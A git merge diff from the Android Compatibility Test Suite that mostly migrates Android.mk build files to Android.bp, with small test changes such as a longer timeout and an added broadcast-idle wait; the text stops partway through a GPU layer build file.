Merge "Add some frameworks owners to util-axt"
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
new file mode 100644
index 0000000..01c579e
--- /dev/null
+++ b/apps/CtsVerifier/Android.bp
@@ -0,0 +1,4 @@
+filegroup {
+    name: "CtsVerifierMockVrListenerServiceFiles",
+    srcs: ["src/com/android/cts/verifier/vr/MockVrListenerService.java"],
+}
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 388d839..72800d0 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2298,6 +2298,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
             <meta-data android:name="test_excluded_features"
                     android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback" />
+            <meta-data android:name="test_required_features" android:value="android.software.device_admin" />
         </activity>
         <activity android:name=".security.CANotifyOnBootActivity"
                 android:label="@string/caboot_test">
@@ -2308,6 +2309,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
             <meta-data android:name="test_excluded_features"
                     android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback" />
+            <meta-data android:name="test_required_features" android:value="android.software.device_admin" />
         </activity>
 
         <activity android:name=".security.KeyChainTest"
diff --git a/apps/CtsVerifier/jni/Android.mk b/apps/CtsVerifier/jni/Android.mk
deleted file mode 100644
index 4343259..0000000
--- a/apps/CtsVerifier/jni/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.bp b/apps/CtsVerifier/jni/audio_loopback/Android.bp
new file mode 100644
index 0000000..9227c75
--- /dev/null
+++ b/apps/CtsVerifier/jni/audio_loopback/Android.bp
@@ -0,0 +1,21 @@
+cc_test_library {
+    name: "libaudioloopback_jni",
+    srcs: [
+        "sles.cpp",
+        "jni_sles.c",
+        "audio_utils/atomic.c",
+        "audio_utils/fifo.c",
+        "audio_utils/roundup.c",
+    ],
+    shared_libs: [
+        "libOpenSLES",
+        "liblog",
+    ],
+    ldflags: ["-Wl,--hash-style=sysv"],
+    cflags: [
+        "-DSTDC_HEADERS",
+        "-Werror",
+        "-Wall",
+    ],
+    sdk_version: "23",
+}
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.mk b/apps/CtsVerifier/jni/audio_loopback/Android.mk
deleted file mode 100644
index 0223e4f..0000000
--- a/apps/CtsVerifier/jni/audio_loopback/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE      := libaudioloopback_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES   := \
-	sles.cpp \
-	jni_sles.c \
-	audio_utils/atomic.c \
-	audio_utils/fifo.c \
-	audio_utils/roundup.c
-
-LOCAL_SHARED_LIBRARIES := \
-	libOpenSLES \
-	liblog
-
-LOCAL_LDFLAGS := -Wl,--hash-style=sysv
-
-LOCAL_CFLAGS := -DSTDC_HEADERS \
-	-Werror -Wall
-
-LOCAL_SDK_VERSION := 23
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/apps/CtsVerifier/jni/verifier/Android.bp b/apps/CtsVerifier/jni/verifier/Android.bp
new file mode 100644
index 0000000..ddd6743
--- /dev/null
+++ b/apps/CtsVerifier/jni/verifier/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+    name: "libctsverifier_jni",
+    srcs: [
+        "CtsVerifierJniOnLoad.cpp",
+        "com_android_cts_verifier_camera_StatsImage.cpp",
+    ],
+    sdk_version: "current",
+    stl: "system",
+    shared_libs: ["liblog"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-Wno-unused-variable",
+    ],
+
+}
diff --git a/apps/CtsVerifier/jni/verifier/Android.mk b/apps/CtsVerifier/jni/verifier/Android.mk
deleted file mode 100644
index 9ee7eee..0000000
--- a/apps/CtsVerifier/jni/verifier/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsverifier_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-		CtsVerifierJniOnLoad.cpp \
-		com_android_cts_verifier_camera_StatsImage.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := system
-
-LOCAL_SHARED_LIBRARIES := liblog \
-
-LOCAL_CFLAGS := \
-        -Wall -Werror \
-        -Wno-unused-parameter \
-        -Wno-unused-variable \
-
-include $(BUILD_SHARED_LIBRARY)
-
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
deleted file mode 100644
index d12caa8..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import org.junit.Before;
-
-/**
- *  Device-side base class for tests leveraging the Business Logic service for rules that are
- *  conditionally added based on the device characteristics.
- */
-public class BusinessLogicConditionalTestCase extends BusinessLogicTestCase {
-
-    @Override
-    @Before
-    public void handleBusinessLogic() {
-        super.loadBusinessLogic();
-        ensureAuthenticated();
-        super.executeBusinessLogic();
-    }
-
-    protected void ensureAuthenticated() {
-        if (!mCanReadBusinessLogic) {
-            // super class handles the condition that the service is unavailable.
-            return;
-        }
-
-        if (!mBusinessLogic.mConditionalTestsEnabled) {
-            skipTest("Execution of device specific tests is not enabled. "
-                    + "Enable with '--conditional-business-logic-tests-enabled'");
-        }
-
-        if (mBusinessLogic.isAuthorized()) {
-            // Run test as normal.
-            return;
-        }
-        String message = mBusinessLogic.getAuthenticationStatusMessage();
-
-        // Fail test since request was not authorized.
-        failTest(String.format("Unable to execute because %s.", message));
-    }
-}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
index b52a0b0..64a8e7c 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
@@ -12,7 +12,7 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-android_test {
+android_test_helper_app {
     name: "CtsPermissionDeclareApp",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
@@ -26,7 +26,10 @@
     ],
     // sign this app with a different cert than CtsUsePermissionDiffCert
     certificate: ":cts-testkey1",
-    dex_preopt: {
-        enabled: false,
-    },
+}
+
+java_library {
+    name: "CtsPermissionDeclareUtilLib",
+    srcs: ["src/com/android/cts/permissiondeclareapp/UtilsProvider.java"],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
new file mode 100644
index 0000000..b11c4cc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsUsePermissionDiffCert",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    sdk_version: "current",
+    static_libs: [
+        "CtsPermissionDeclareUtilLib",
+        "androidx.test.rules",
+    ],
+    libs: ["android.test.base.stubs"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    // sign this app with a different cert than CtsPermissionDeclareApp
+    certificate: ":cts-testkey2",
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
deleted file mode 100644
index 9233605..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    ../PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_PACKAGE_NAME := CtsUsePermissionDiffCert
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# sign this app with a different cert than CtsPermissionDeclareApp
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/cpptools/Android.bp b/hostsidetests/cpptools/Android.bp
new file mode 100644
index 0000000..208e734
--- /dev/null
+++ b/hostsidetests/cpptools/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsCppToolsTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "ddmlib-prebuilt",
+        "tradefed",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk
index 8078290..10ba650 100644
--- a/hostsidetests/cpptools/Android.mk
+++ b/hostsidetests/cpptools/Android.mk
@@ -13,23 +13,4 @@
 # limitations under the License.
 
 LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := optional
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsCppToolsTestCases
-
-LOCAL_JAVA_LIBRARIES := ddmlib-prebuilt tradefed
-
-LOCAL_CTS_TEST_PACKAGE := android.tests.cpptools
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/cpptools/test-apps/BasicApp/Android.bp b/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
new file mode 100644
index 0000000..f96f5a5
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsCppToolsApp",
+    defaults: ["cts_support_defaults"],
+    // Don't include this package in any target.
+    // When built, explicitly put it in the data partition.
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/cpptools/test-apps/BasicApp/Android.mk b/hostsidetests/cpptools/test-apps/BasicApp/Android.mk
deleted file mode 100644
index 2719cd9..0000000
--- a/hostsidetests/cpptools/test-apps/BasicApp/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsCppToolsApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
new file mode 100644
index 0000000..d4dab8b
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDomainSocket",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.mk b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.mk
deleted file mode 100644
index b018cc9..0000000
--- a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_PACKAGE_NAME := CtsDomainSocket
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
index e97f897..343a547 100644
--- a/hostsidetests/devicepolicy/Android.mk
+++ b/hostsidetests/devicepolicy/Android.mk
@@ -14,6 +14,23 @@
 
 LOCAL_PATH:= $(call my-dir)
 
+# $(1) name of the xml file to be created
+# $(2) path to the api text file
+define build_xml_api_file
+include $(CLEAR_VARS)
+LOCAL_MODULE := cts-$(subst .,-,$(1))
+LOCAL_MODULE_STEM := $(1)
+LOCAL_MODULE_CLASS := ETC
+LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
+include $(BUILD_SYSTEM)/base_rules.mk
+$$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
+	@echo "Convert API file $$< -> $$@"
+	@mkdir -p $$(dir $$@)
+	$(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $$< $$@
+endef
+
+$(eval $(call build_xml_api_file,current.api,frameworks/base/api/current.txt))
+
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsDevicePolicyManagerTestCases
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index d52a184..48d8182 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -495,6 +495,8 @@
                 Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(1)));
         // Reboot the device, so the security event IDs are re-set.
         rebootAndWaitUntilReady();
+        // Make sure BOOT_COMPLETED is completed before proceeding.
+        waitForBroadcastIdle();
         // First batch after reboot: retrieve and verify the events.
         executeDeviceTestMethod(".NetworkLoggingTest", "testNetworkLoggingAndRetrieval",
                 Collections.singletonMap(ARG_NETWORK_LOGGING_BATCH_COUNT, Integer.toString(1)));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 360e141..b81afd2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -76,7 +76,7 @@
 
     private static final String SIMPLE_APP_APK = "CtsSimpleApp.apk";
 
-    private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.SECONDS.toMillis(30);
+    private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.SECONDS.toMillis(60);
 
     private static final String PARAM_PROFILE_ID = "profile-id";
 
diff --git a/hostsidetests/gputools/Android.bp b/hostsidetests/gputools/Android.bp
new file mode 100644
index 0000000..dc8ac4f
--- /dev/null
+++ b/hostsidetests/gputools/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsGpuToolsHostTestCases",
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: ["cts"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    static_libs: ["platform-test-annotations-host"],
+}
diff --git a/hostsidetests/gputools/Android.mk b/hostsidetests/gputools/Android.mk
deleted file mode 100644
index b2946be..0000000
--- a/hostsidetests/gputools/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MODULE := CtsGpuToolsHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := platform-test-annotations-host
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/gputools/apps/Android.bp b/hostsidetests/gputools/apps/Android.bp
new file mode 100644
index 0000000..123fcbe
--- /dev/null
+++ b/hostsidetests/gputools/apps/Android.bp
@@ -0,0 +1,71 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctsgputools_jni",
+    gtest: false,
+    srcs: [
+        "jni/CtsGpuToolsJniOnLoad.cpp",
+        "jni/android_gputools_cts_RootlessGpuDebug.cpp",
+    ],
+    cflags: [
+        "-std=c++14",
+        "-Wall",
+        "-Werror",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libvulkan",
+        "liblog",
+    ],
+    stl: "c++_shared",
+    sdk_version: "current",
+}
+
+android_test_helper_app {
+    name: "CtsGpuToolsRootlessGpuDebugApp-DEBUG",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: ["cts"],
+    compile_multilib: "both",
+    jni_libs: ["libctsgputools_jni"],
+    aaptflags: [
+        "--rename-manifest-package",
+        "android.rootlessgpudebug.DEBUG.app",
+        "--debug-mode",
+    ],
+    use_embedded_native_libs: false,
+    stl: "c++_shared",
+}
+
+android_test_helper_app {
+    name: "CtsGpuToolsRootlessGpuDebugApp-RELEASE",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: ["cts"],
+    compile_multilib: "both",
+    jni_libs: [
+        "libctsgputools_jni",
+        "libVkLayer_nullLayerC",
+    ],
+    aaptflags: [
+        "--rename-manifest-package android.rootlessgpudebug.RELEASE.app",
+    ],
+    use_embedded_native_libs: false,
+    stl: "c++_shared",
+}
diff --git a/hostsidetests/gputools/apps/Android.mk b/hostsidetests/gputools/apps/Android.mk
deleted file mode 100644
index b3f58bb..0000000
--- a/hostsidetests/gputools/apps/Android.mk
+++ /dev/null
@@ -1,74 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libctsgputools_jni
-LOCAL_SRC_FILES := \
-    jni/CtsGpuToolsJniOnLoad.cpp \
-    jni/android_gputools_cts_RootlessGpuDebug.cpp
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan liblog
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_SDK_VERSION := current
-include $(BUILD_SHARED_LIBRARY)
-
-
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE_TAGS := tests
-LOCAL_PACKAGE_NAME := CtsGpuToolsRootlessGpuDebugApp-DEBUG
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-libctsgputools_jni
-
-LOCAL_AAPT_FLAGS := \
---rename-manifest-package android.rootlessgpudebug.DEBUG.app \
---debug-mode
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE_TAGS := tests
-LOCAL_PACKAGE_NAME := CtsGpuToolsRootlessGpuDebugApp-RELEASE
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-libctsgputools_jni \
-libVkLayer_nullLayerC
-
-LOCAL_AAPT_FLAGS := \
---rename-manifest-package android.rootlessgpudebug.RELEASE.app
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/gputools/layers/Android.bp b/hostsidetests/gputools/layers/Android.bp
new file mode 100644
index 0000000..cb6873a
--- /dev/null
+++ b/hostsidetests/gputools/layers/Android.bp
@@ -0,0 +1,89 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libVkLayer_nullLayerA",
+    gtest: false,
+    srcs: ["jni/nullLayer.cpp"],
+    cflags: [
+        "-std=c++14",
+        "-Wall",
+        "-Werror",
+        "-fvisibility=hidden",
+        "-DLAYERNAME=A",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libvulkan",
+        "liblog",
+    ],
+    stl: "c++_shared",
+    sdk_version: "current",
+}
+
+cc_test_library {
+    name: "libVkLayer_nullLayerB",
+    gtest: false,
+    srcs: ["jni/nullLayer.cpp"],
+    cflags: [
+        "-std=c++14",
+        "-Wall",
+        "-Werror",
+        "-fvisibility=hidden",
